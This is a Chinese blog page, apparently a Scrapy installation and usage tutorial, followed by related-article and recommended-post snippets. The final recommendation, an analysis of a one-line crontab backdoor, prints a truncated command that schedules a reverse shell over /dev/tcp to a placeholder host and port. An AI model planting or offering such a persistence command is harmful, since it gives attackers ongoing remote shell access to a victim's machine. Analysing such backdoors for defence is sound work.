爬虫之scrapy安装与基本使用
安装
pip install scrapy
基本使用
创建项目
scrapy startproject 项目名
cd 项目名
生成爬虫
- 创建spider爬虫:scrapy genspider 爬虫名 允许的域名
- 爬虫类需要继承scrapy.Spider
- 爬虫的名字: name
- 允许的域名: allowed_domains
- 起始的url: start_urls
- 解析函数:
- 创建crawlspider爬虫:scrapy genspider -t crawl 爬虫名称 允许的域
- 完善提取URL的规则
- Rule表示规则
- rules是一个元组或者是列表 --> Rule对象
- rules = (Rule(LinkExtractor(allow=r'Items/'), callback='parse_item', follow=True),)
- LinkExtractor[必选]:连接提取器,可以通过正则或者是xpath来提取URL
- allow: 用于指定一个正则表达, 只有与该正则匹配的链接才被提取出来
- restrict_xpaths: 用于指定一个XPATH, 只有该XPATH指定的区域中链接才被提取出来
- callback[可选]: 表示经过连接提取器提取出来的url对应响应的解析函数,可以没有,表示该响应不需要解析函数来处理
- follow[可选]:连接提取器提取的url地址对应的响应是否还会继续被rules中的规则进行提取,True表示会,False表示不会
完善爬虫
- response.xpath('xpath语法') --> 返回selector对象
- extract() --> 返回提取到的字符串列表 --> 无数据[]
- extract_first() --> 返回提取到的第一个字符串 --> 无数据None
注意: yield后不可以接列表
保存数据
- 完善Pipeline类
- 在settings.py中开启管道
运行项目
scrapy crawl 爬虫名
CrawlSpider 与 Spider如何选择
自定义爬虫, 是继承CrawlSpider 还是 Spider呢?
- 一般当一类页面中可以获取所有数据的时候, 使用CrawlSpider
- 需要从多类页面中提取数据, 进行组合, 使用Spider
爬虫之scrapy安装与基本使用的更多相关文章
- python爬虫框架—Scrapy安装及创建项目
linux版本安装 pip3 install scrapy 安装完成 windows版本安装 pip install wheel 下载twisted,网址:http://www.lfd.uci.edu ...
- Python爬虫框架--Scrapy安装以及简单实用
scrapy框架 框架 -具有很多功能且具有很强通用性的一个项目模板 环境安装: Linux: pip3 install scrapy Windows: ...
- python爬虫的scrapy安装+pymongo的安装
我的:python2.7版本 32位 注意scrapy只支持2.7及以上的版本. 1.安装python 2.安装pip 安装pip就不赘述了,网上很多教学 pip安装时要注意更新,如果pip版本 ...
- Python爬虫框架Scrapy安装使用步骤
一.爬虫框架Scarpy简介Scrapy 是一个快速的高层次的屏幕抓取和网页爬虫框架,爬取网站,从网站页面得到结构化的数据,它有着广泛的用途,从数据挖掘到监测和自动测试,Scrapy完全用Python ...
- python爬虫之scrapy安装(一)
简介: Scrapy,Python开发的一个快速.高层次的屏幕抓取和web抓取框架,用于抓取web站点并从页面中提取结构化的数据.Scrapy用途广泛,可以用于数据挖掘.监测和自动化测试. Scrap ...
- [Python爬虫] scrapy爬虫系列 <一>.安装及入门介绍
前面介绍了很多Selenium基于自动测试的Python爬虫程序,主要利用它的xpath语句,通过分析网页DOM树结构进行爬取内容,同时可以结合Phantomjs模拟浏览器进行鼠标或键盘操作.但是,更 ...
- 转:Scrapy安装、爬虫入门教程、爬虫实例(豆瓣电影爬虫)
Scrapy在window上的安装教程见下面的链接:Scrapy安装教程 上述安装教程已实践,可行.(本来打算在ubuntu上安装Scrapy的,但是Ubuntu 磁盘空间太少了,还没扩展磁盘空间,所 ...
- Scrapy安装、爬虫入门教程、爬虫实例(豆瓣电影爬虫)
Scrapy在window上的安装教程见下面的链接:Scrapy安装教程 上述安装教程已实践,可行.(本来打算在ubuntu上安装Scrapy的,但是Ubuntu 磁盘空间太少了,还没扩展磁盘空间,所 ...
- Linux 安装python爬虫框架 scrapy
Linux 安装python爬虫框架 scrapy http://scrapy.org/ Scrapy是python最好用的一个爬虫框架.要求: python2.7.x. 1. Ubuntu14.04 ...
随机推荐
- MongoDB 学习笔记之 TTL索引,部分索引和文本索引
TTL索引: TTL集合支持mongodb对存储的数据进行失效时间设置,经过指定的时间段后.或在指定的时间点过期,集合自动被mongod清除.这一特性有利于对一些只需要保存一定时间的数据信息进行存储, ...
- kali切换到西电源
准备研究kali的openvas,打开发现居然没有.apt-get更新一下结果各种报错,换成中科大源.阿里源还是始终报错,气到吐血.最后上西电开源社区换成了西电的kali源,更新速度2m多,一气呵成~ ...
- ORM查询简化
文章出处 https://www.cnblogs.com/wupeiqi/articles/6216618.html 字段 常用字段 AutoField(Field) - int自增列,必须填入参数 ...
- markdown公式转为知乎格式
在知乎中写技术类文章,经常会用到markdown知乎文章可以导入markdown格式,但是不支持Latex公式.知乎大神提供了替代方案: https://zhuanlan.zhihu.com/ ...
- Stock Charts
Description You're in the middle of writing your newspaper's end-of-year economics summary, and you' ...
- Three Key Points of Success 成功三要素
Everyone wants to be successful. Today I would like to share three simple key points of success. Num ...
- indexeddb:浏览器中的数据库
随着浏览器功能的不断加强,越来越多的网站开始考虑将大量的数据存储在客户端.这样的考虑是为了直接从本地获取数据,减少从服务器获取数据耗费的网络资源. 原有的浏览器数据存储方案都不适合存储大量数据.Coo ...
- Flask框架整个流程源码解读
Flask框架整个流程源码解读 一.总的流程 运行Flask其本质是运行Flask对象中的__call__,而__call__本质调用wsgi_app的方法 wsgi_app方法 def wsgi_a ...
- Node.js新手必须知道的4个JavaScript概念
如果只需要知道一种编程语言就可以构建一个全栈的应用程序,是不是特别了不起?Ryan Dahl为了把这个想法成为现实,创造了node.js.Node.js是建立在Chrome强劲的V8 JavaScri ...
- crontab一句话后门分析
正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...